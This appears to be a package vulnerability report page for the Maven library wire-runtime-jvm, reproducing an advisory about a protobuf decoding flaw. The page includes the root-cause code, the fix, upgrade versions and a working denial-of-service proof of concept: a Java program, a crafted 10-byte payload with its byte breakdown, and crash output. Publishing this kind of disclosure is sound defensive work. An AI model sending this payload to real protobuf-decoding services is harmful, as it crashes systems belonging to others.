maven package report

Is com.squareup.wire:wire-runtime-jvm safe?

1 known vulnerability, worst severity HIGH.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      Tracked for PyPI packages. HuggingFace models declare Python dependencies, so maven packages are not covered.


      cvss
      0.0
      high

      severity out of 10

      epss
      0.00%
      medium

      chance of exploitation in 30 days, 52nd percentile of all CVEs

      xyz score
      0.0
      low

      CyberXYZ composite out of 10

      fig. 01 — GHSA-7xpr-hc2w-34m9, the advisory selected below

      // 1 advisories

      GHSA-7xpr-hc2w-34m9

      HIGHCVE-2026-45799
      // maintainer summary

      Wire's protobuf group-skipping logic did not reject negative lengths before skipping a length-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an unchecked runtime exception during decoding instead of the documented IOException / ProtocolException failure path.

      This can crash services that decode untrusted protobuf payloads and only handle Wire's documented checked decoding failures.

      // com.squareup.wire:wire-runtime

      Affected versions: vulnerable releases before 6.3.0.

      Patched versions: 6.3.0 and later.

      Users should upgrade to com.squareup.wire:wire-runtime:6.3.0 or later.

      // com.squareup.wire:wire-runtime-jvm

      Affected versions: vulnerable releases before 6.3.0.

      Patched versions: 6.3.0 and later.

      Users should upgrade to com.squareup.wire:wire-runtime:6.3.0 or later.

      // wire 7 alpha releases

      The fix has been merged to master and will be included in the next Wire 7 alpha release. Until that release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with affected alpha versions or build from a commit containing the fix.

      // fix

      The issue is fixed in Wire 6.3.0.

      The fix rejects negative lengths while skipping groups and throws ProtocolException instead of allowing the reader to move to an invalid position and later throw an unchecked runtime exception.

      // credit

      Reported by @TrekLaps.

      // technical details

      The following technical details are based on the original report, updated by the maintainers to reflect the assigned CVE, the supported fixed artifact, and the discontinued status of com.squareup.wire:wire-runtime-jvm.

      ByteArrayProtoReader32.skipGroup() in wire-runtime did not validate that a LENGTHDELIMITED field's length is non-negative before calling skip(). A crafted protobuf varint encodes -128 as a signed Int. When skip(-128) runs, the internal position counter underflows to an invalid negative position. The next readByte() accesses the source with that negative position, throwing ArrayIndexOutOfBoundsException, a RuntimeException that escapes Wire's documented IOException boundary and can crash the request handler.

      ProtoAdapter.decode(byte[]) is declared to throw IOException. Callers following the documented API may catch only IOException, so unchecked runtime exceptions from malformed input can escape the expected error boundary.

      The originally confirmed vulnerable legacy versions include 5.3.1 and 5.3.3 for the discontinued com.squareup.wire:wire-runtime-jvm coordinate. The supported replacement coordinate is com.squareup.wire:wire-runtime, fixed in version 6.3.0.

      // root cause

      In the originally reported vulnerable code path, ByteArrayProtoReader32.skipGroup() read the length as a signed Int and used it without validating that it was non-negative:

      STATE_LENGTH_DELIMITED -> {
        val length = internalReadVarint32() // returns signed Int and can be negative
        skip(length)                        // no negative check
      }

      The internal skip() implementation then accepted the negative count because the computed position was not greater than the limit:

      private fun skip(byteCount: Int) {
        val newPos = pos + byteCount        // for example, 7 + (-128) = -121
        if (newPos > limit) throw EOFException()
        pos = newPos                        // pos = -121
      }

      The next read could then index the source with the invalid negative position:

      private fun readByte(): Byte {
        if (pos == limit) throw EOFException()
        return source[pos++]                // source[-121] throws ArrayIndexOutOfBoundsException
      }

      Wire already rejected negative lengths in normal length-delimited field decoding. The same validation was missing from group-skipping code.

      The fix adds this validation when skipping groups:

      STATE_LENGTH_DELIMITED -> {
        val length = internalReadVarint32()
        if (length < 0) throw ProtocolException("Negative length: $length...")
        skip(length)
      }

      The fix was applied to both ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup().

      // reproduction

      The following reproduction was provided for vulnerable legacy wire-runtime-jvm releases such as 5.3.1 and 5.3.3:

      curl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar
      curl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar
      curl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar
      // WirePoc.java
      import com.squareup.wire.AnyMessage;
      
      public class WirePoc {
        public static void main(String[] args) throws Exception {
          byte[] payload = new byte[] {
            (byte) 0x9B, 0x06,                                          // field 99, START_GROUP
            0x0A,                                                       // field 1, LENGTH_DELIMITED
            (byte) 0x80, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, 0x0F,   // varint = -128
            (byte) 0x9C, 0x06                                           // field 99, END_GROUP
          };
      
          AnyMessage.ADAPTER.decode(payload);
        }
      }
      javac -cp "wire.jar:okio.jar:stdlib.jar" WirePoc.java
      java -cp ".:wire.jar:okio.jar:stdlib.jar" WirePoc

      Observed output on vulnerable versions:

      Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index -120 out of bounds for length 10
          at com.squareup.wire.ByteArrayProtoReader32.readByte(ByteArrayProtoReader32.kt:448)
          at com.squareup.wire.ByteArrayProtoReader32.internalReadVarint32(ByteArrayProtoReader32.kt:294)
          at com.squareup.wire.ByteArrayProtoReader32.skipGroup(ByteArrayProtoReader32.kt:209)
          at com.squareup.wire.ByteArrayProtoReader32.nextTag(ByteArrayProtoReader32.kt:156)
          at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:150)
          at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:88)
          at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:468)
          at WirePoc.main(WirePoc.java:10)

      With the fix, the same payload is rejected with ProtocolException.

      // why this can affect any wire-decoding service

      skipGroup() is called for any unknown field with wire type 3. An attacker can send an unknown field, such as field 99, with wire type STARTGROUP. The decoder skips it via skipGroup() regardless of which message type the service uses, so no schema knowledge is required.

      Payload:

      9b060a80ffffff0f9c06

      Payload breakdown:

      0x9B 0x06                 field 99, wire type 3 (START_GROUP)
      0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group
      0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint = -128 as signed Int
      0x9C 0x06                 field 99, END_GROUP
      // cvss v3.1 vector

      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

      Attack vector
      Network
      Attack complexity
      Low
      Privileges required
      None
      User interaction
      None
      Scope
      Unchanged
      Confidentiality
      None
      Integrity
      None
      Availability
      High

      Checked 2026-09-26 at 01:03 UTC. The most recent advisory here was published 2026-05-19. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.